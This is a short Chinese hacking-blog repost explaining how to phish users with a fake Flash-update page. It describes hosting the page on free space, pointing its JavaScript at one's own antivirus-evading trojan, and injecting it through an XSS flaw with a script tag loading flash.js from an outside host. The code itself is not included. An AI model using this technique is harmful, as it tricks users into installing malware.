记录黑客技术中优秀的内容,传播黑客文化,分享黑客技术精华

FLASH也是一个钓鱼竿

2020-09-22 09:35

点击蓝字,关注我们

        好久没写推文了,怕粉丝忘了自己,于是写一下钓鱼的那些事,不过还不错的例子~

        今天就使用flash更新作为诱饵,进行钓鱼。在渗透当中,想要控制终端的PC,一般采用宏病毒文件或者flash钓鱼,但flash钓鱼需要满足两个:

1、免费的空间2、一个正常上线的马(最好能免杀)3、免费的域名

将代码文件传送到空间或者自己的服务器,

就这几个文件,再将自己的马放在同目录下,在js文件修改马地址,我这里为了演示跳转到百度。

修改完,就可以访问网站,就得到这个页面。是不是很真实,如果一般新手应该会点击升级。不然一直弹窗他也烦~哈哈哈

再看看index.html的文件内容,内容相当简单。

没什么复杂,就是加载了一个js文件,那么xss漏洞的网站,也是可以测试的哦~

<script src="http://xxxx/flash.js"></script>

如图,我在本地搭建了具有xss漏洞的代码,将弹窗代码传参进入得到

效果图,也是很逼真,个人感觉还是很不错的一个钓鱼竿~

至于代码嘛,在公众号回复“钓鱼竿”就可以得到了,该项目是某位大佬的开源项目~

文章声明:该工具、教程仅供学习参考,请勿非法使用。否则与作者无关!

扫二维码|关注我们


知识来源: https://mp.weixin.qq.com/s?__biz=MzU0NjU5NDE4Mg==&mid=2247484273&idx=1&sn=a9465898fbe0ba063654a24a75bd9ff5

阅读:16465 | 评论:0 | 标签:钓鱼

想收藏或者和大家分享这篇好文章→复制链接地址

“FLASH也是一个钓鱼竿”共有0条留言

发表评论

姓名:

邮箱:

网址:

验证码:

ADS

标签云